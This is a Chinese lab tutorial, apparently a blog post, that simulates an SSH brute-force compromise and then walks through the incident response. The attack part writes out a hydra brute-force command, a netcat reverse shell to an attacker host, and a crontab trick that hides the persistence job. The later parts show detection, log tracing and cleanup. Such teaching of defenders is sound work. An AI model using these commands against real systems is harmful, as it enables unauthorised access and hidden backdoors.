SSH爆破

SSH简介

• Secure Shell(安全外壳协议,简称SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境。SSH通过在网络中创建安全隧道来实现SSH客户端与服务器之间的连接。

• SSH最常见的用途是远程登录系统,人们通常利用SSH来传输命令行界面和远程执行命令。SSH使用频率最高的场合是类Unix系统,但是Windows操作系统也能有限度地使用SSH,2015年,微软宣布将在未来的操作系统中提供原生SSH协议支持,Windows10 1803版本已提供OpenSSH工具。

SSH爆破——模拟攻击

1、信息收集

• 扫描目标主机的端口:

nmap -T4 -sT 靶机ip

• 发现存在 22 ,尝试爆破ssh

2、爆破SSH

• 使用hydra爆破:

hydra -L user.txt -P password.txt ssh://靶机ip

3、SSH登录

ssh root@靶机ip

4、尝试创建隐藏计划任务

• 进入 /tmp 目录创建 task.sh 文件:

vim task.sh

#!/bin/bash

nc 攻击机ip 8888 -e /bin/bash

• 赋予执行权限:

chmod +x task.sh

• 创建脚本 create_task.sh:

vim  create_task.sh

(crontab -l;printf "* * * * * /tmp/task.sh;\rno crontw-wab for `whoami`%100c\n")|crontab -

• 赋予权限,执行 create_task.sh 脚本

• crontab -l :发现没有任务,定时任务已经隐藏

• 具体任务在 /var/spool/cron/crontabs/ 下查看

• 通过 cat /var/spool/cron/crontabs/root 查看不到任务

• 可以通过 cat -A /var/spool/cron/crontabs/root 查看隐藏的任务

• 或者: cat -vET /var/spool/cron/crontabs/root

5、尝试 nc 连接目标主机的shell

• 开启监听:

nc –lvp 8888

• 发现过了一会就反弹了目标主机的 shell


应急响应——事件排查

1、查看网络连接情况

netstat –antpl

• 发现存在异常的连接:xxx.xxx.xxx.115:8888 ESTABLISHED 2371/bash

2、查看守护进程

• 查看进程树:

pstree –p

• 查看进程:

systemctl status 2371

• 发现计划任务

3、查看计划任务

• crontab -l :未发现有计划任务,可能是隐藏的计划任务

• 查看 /var/spool/cron/crontabs 下的任务

• 使用 cat -A root 或者 cat -vET root : 可以看到隐藏内容

• 或者 vim root :直接编辑也可以看到具体任务的内容

4、找到 task.sh 文件

查看文件上传时间:

ls -l /tmp/task.sh 

查看文件内容,发现是通过 nc 反弹 shell : 

cat /tmp/tash.sh


应急响应——溯源分析

1、分析任务文件 task.sh

查看文件上传时间:

ls -l /tmp/task.sh 

• -rwxr-xr-x 1 root root 48 1月 12 18:31 /tmp/task.sh

• 发现权限为 root ,说明攻击者以 root 账户登录,很有可能 root 账户密码被攻破

2、查看登录日志

kali 下登录成功的日志:

last -f /var/log/wtmp 

kali 下登录失败的日志,发现大量登录失败的日志:

last -f /var/log/btmp 

3、总结

• 爆破时间: Wed Jan 12 18:25

• 爆破账户: root、admin等,最后成功爆破出root账户的密码

• 攻击者IP:xxx.xxx.xxx.115

• 可疑IP: xxx.xxx.xxx.115 成功爆破出系统xxx.xxx.xxx.104 的 root账户的密码,并且留 crontab隐藏后门,任务执行文件 /root/task.sh


应急响应——事件处置

1、删除计划任务、结束异常进程

• 删除隐藏计划任务:

crontab -r -u root

• 杀掉恶意进程:

kill 2371

2、删除恶意文件

rm create_task.sh

rm task.sh

3、修改账户密码,关闭 root 账户远程连接的权限

• passwd root :修改密码,增强密码防护

• vim /etc/ssh/sshd_config :修改 PermitRootLogin 为 no,增强权限控制

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容